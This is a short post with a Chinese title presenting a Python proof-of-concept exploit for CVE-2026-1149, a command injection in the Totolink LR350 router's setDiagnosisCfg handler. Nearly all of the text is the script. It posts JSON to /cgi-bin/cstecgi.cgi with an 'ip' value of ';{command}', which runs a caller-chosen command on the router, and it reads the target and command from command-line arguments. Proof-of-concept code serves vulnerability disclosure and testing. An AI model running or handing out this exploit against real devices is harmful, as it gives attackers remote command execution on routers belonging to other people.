CVE-2026-1149 Totolink LR350 setDiagnosisCfg命令注入漏洞

#!/usr/bin/env python3 """ CVE-2026-1149 PoC - Totolink LR350 setDiagnosisCfg Command Injection Vulnerable Version: 9.3.5u.6369_B20220309 Reference: https://nvd.nist.gov/vuln/detail/CVE-2026-1149 """ import requests import sys import argparse def exploit(target_ip, target_port=80, command="id", proto="http"): """ Exploit the command injection vulnerability in setDiagnosisCfg Args: target_ip: Target router IP address target_port: Target router web port (default: 80) command: Command to execute on the target proto: Protocol to use (http or https) """ url = f"{proto}://{target_ip}:{target_port}/cgi-bin/cstecgi.cgi" # Payload construction: inject command via ip parameter # The ip parameter is used in ping command without sanitization payload = f";{command}" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } data = { "topicurl": "setDiagnosisCfg", "ip": payload } print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Command: {command}") print(f"[*] URL: {url}") try: print("[*] Sending exploit payload...") response = requests.post(url, json=data, headers=headers, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body:\n{response.text}") return response.json() except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None def main(): parser = argparse.ArgumentParser(description="CVE-2026-1149 PoC") parser.add_argument("target", help="Target IP address") parser.add_argument("-p", "--port", type=int, default=80, help="Target port (default: 80)") parser.add_argument("-c", "--command", default="id", help="Command to execute (default: id)") parser.add_argument("-s", "--ssl", action="store_true", help="Use HTTPS") args = parser.parse_args() proto = "https" if args.ssl else "http" exploit(args.target, args.port, args.command, proto) if __name__ == "__main__": main()